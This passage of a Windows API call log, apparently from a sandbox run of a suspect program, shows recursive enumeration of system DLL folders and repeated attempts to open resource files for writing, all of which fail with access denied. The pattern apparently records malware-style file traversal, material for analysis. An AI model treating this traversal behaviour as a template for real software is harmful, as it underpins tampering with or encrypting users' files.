lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0180.372] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0180.372] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0180.372] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0180.372] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0180.373] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0180.373] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0180.373] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0180.373] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0180.373] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0180.373] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0180.373] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0180.373] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0180.373] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0180.373] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0180.373] GetProcessHeap () returned 0x990000 [0180.373] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0180.373] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0180.373] GetProcessHeap () returned 0x990000 [0180.373] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x68) returned 0x9b0940 [0180.373] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0180.374] GetProcessHeap () returned 0x990000 [0180.374] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.374] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.374] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0180.374] GetProcessHeap () returned 0x990000 [0180.374] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x26a) returned 0x9b1eb0 [0180.375] GetProcessHeap () returned 0x990000 [0180.375] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x72) returned 0x9a9d68 [0180.375] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0180.375] GetProcessHeap () returned 0x990000 [0180.375] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9a9d68 | out: hHeap=0x990000) returned 1 [0180.375] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.375] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0180.375] GetProcessHeap () returned 0x990000 [0180.375] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x274) returned 0x9dc860 [0180.375] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0180.375] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0180.375] GetProcessHeap () returned 0x990000 [0180.375] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc860 | out: hHeap=0x990000) returned 1 [0180.375] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0180.376] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0180.380] GetProcessHeap () returned 0x990000 [0180.380] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0180.380] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0180.380] GetProcessHeap () returned 0x990000 [0180.380] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x68) returned 0x9b0940 [0180.380] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0180.384] GetProcessHeap () returned 0x990000 [0180.384] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.384] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.384] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0180.384] GetProcessHeap () returned 0x990000 [0180.384] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x26a) returned 0x9b1eb0 [0180.384] GetProcessHeap () returned 0x990000 [0180.384] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x74) returned 0x9a9d68 [0180.384] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0180.384] GetProcessHeap () returned 0x990000 [0180.384] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9a9d68 | out: hHeap=0x990000) returned 1 [0180.384] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.385] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0180.385] GetProcessHeap () returned 0x990000 [0180.385] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x276) returned 0x9dc860 [0180.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.386] GetLastError () returned 0x5 [0180.386] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0180.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.387] GetLastError () returned 0x5 [0180.387] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0180.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.387] GetLastError () returned 0x5 [0180.387] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0180.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.387] GetLastError () returned 0x5 [0180.387] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0180.387] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0180.388] GetProcessHeap () returned 0x990000 [0180.388] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc860 | out: hHeap=0x990000) returned 1 [0180.388] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0180.388] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0180.388] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0180.388] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0180.388] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0180.388] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, 